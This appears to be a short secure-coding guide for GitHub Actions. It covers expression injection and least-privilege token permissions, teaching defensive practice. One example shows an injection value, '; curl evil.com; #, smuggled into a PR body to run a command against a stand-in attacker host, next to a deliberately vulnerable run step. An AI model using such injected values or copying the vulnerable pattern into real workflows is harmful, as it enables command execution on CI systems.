github-workflow-security-patterns

GitHub Workflow Security Patterns

Best practices and canonical patterns for secure GitHub Actions workflows.

1. Expression Injection Mitigation

Problem: Untrusted input (PR description, issue body, etc.) directly in run: command allows injection attacks.

Vulnerable Pattern:

- run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"

Attack: If PR body is '; curl evil.com; #, the final command becomes:

curl https://api.example.com -d "'; curl evil.com; #"

Safe Pattern: Wrap untrusted input in environment variable

- name: Send Data
  env:
    PR_BODY: ${{ github.event.pull_request.body }}
  run: curl https://api.example.com -d "$PR_BODY"

Why Safe: The untrusted value is now a shell variable, not part of the command syntax. Injection attack becomes literal string value.

Dangerous contexts to always wrap:

• github.event.pull_request.body
• github.event.pull_request.title
• github.event.issue.body
• github.event.comment.body
• github.event.review.body
• github.event.*.*.message
• github.head_ref

Reference: GitHub Blog: Catching GitHub Actions Workflow Injections

2. Least-Privilege Permissions

Principle: Request only minimum permissions needed.

Anti-pattern (excess permissions):

jobs:
  build:
    permissions:
      contents: write      # Only reads, not writes
      pull-requests: write # Doesn't create/modify PRs
      issues: write        # Doesn't touch issues

Pattern (least-privilege):

jobs:
  build:
    permissions:
      contents: read  # Minimum for checkout

Why it matters:

• Limits blast radius if token is compromised
• Follows security principle of least privilege
• Passes CodeQL "missing-workflow-permissions" check
• Auditable - others can see exactly what the token can do